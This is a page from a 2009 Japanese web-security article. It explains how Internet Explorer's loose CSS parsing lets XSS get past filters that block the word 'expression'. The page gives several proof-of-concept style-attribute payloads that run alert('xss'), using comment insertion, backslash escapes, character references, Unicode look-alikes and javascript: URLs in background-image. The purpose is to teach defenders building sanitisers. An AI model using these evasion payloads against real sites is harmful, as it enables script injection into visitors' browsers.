[柔軟すぎる]IEのCSS解釈で起こるXSS教科書に載らないWebアプリケーションセキュリティ(3)(2/3 ページ)

» 2009年06月04日 00時00分 公開
[はせがわようすけネットエージェント株式会社]

IEにおけるスタイルシートの“柔軟過ぎる”解釈

 さきに示したような攻撃を防ぐため、スタイルシートを許容するようなWebアプリケーションでは、HTMLだけでなくスタイルシート部分についても、安全な内容を生成するように注意しなければなりません。

 ところが、IEは残念なことに、スタイルシートの解釈が非常にあいまいです。そのため、単純に「expression」という表記をフィルタリングするだけでは、XSSを防ぐことができません。

 例えば、以下のような記述では、すべてJavaScriptを実行してしまいます。

「expression」表記方法

(1)通常の表記



<div style="left:expression( alert('xss') )">



(2)コメントの挿入



<div style="left:exp/* */ression( alert('xss') )">



(3)バックスラッシュによるコードポイント指定



<div style="left:\0065\0078pression( alert('xss') )">



(4)数値文字参照



<div style="left:&#x0065;xpression( alert('xss') )">
(インラインでのスタイル定義では、数値文字参照が利用可能)



 これらに加えて、IE6では以下の記述であってもスクリプトが動作します。

「expression」表記方法(IE6の場合)

(5)全角文字



<div style="left:expression( alert('xss') )">



(6)特定のUnicode文字



<div style="left:expessio( alert('xss') )">
(R は U+0280、N は U+0274 または U+207F が利用可能)



 もちろん、(1)から(6)の記述は組み合わせて書くこともできるため

<div style="left:&#x5c;65x/**/pression( alert('xss') )">

という表記でもJavaScriptは動きます。また、IE6では「expression」以外にも

<div style='background-image:url("javascript:alert(/xss/.source)")'>
<div style='background-image:u/**/rl("javascript:alert(/xss/.source)")'>
<div style='background-image:\0075rl("javascript:alert(/xss/.source)")'>

のように、URLとしてjavascriptスキームを記述した場合にもスクリプトを動作させられます。

Copyright © ITmedia, Inc. All Rights Reserved.

RSSについて

アイティメディアIDについて

メールマガジン登録

@ITのメールマガジンは、 もちろん、すべて無料です。ぜひメールマガジンをご購読ください。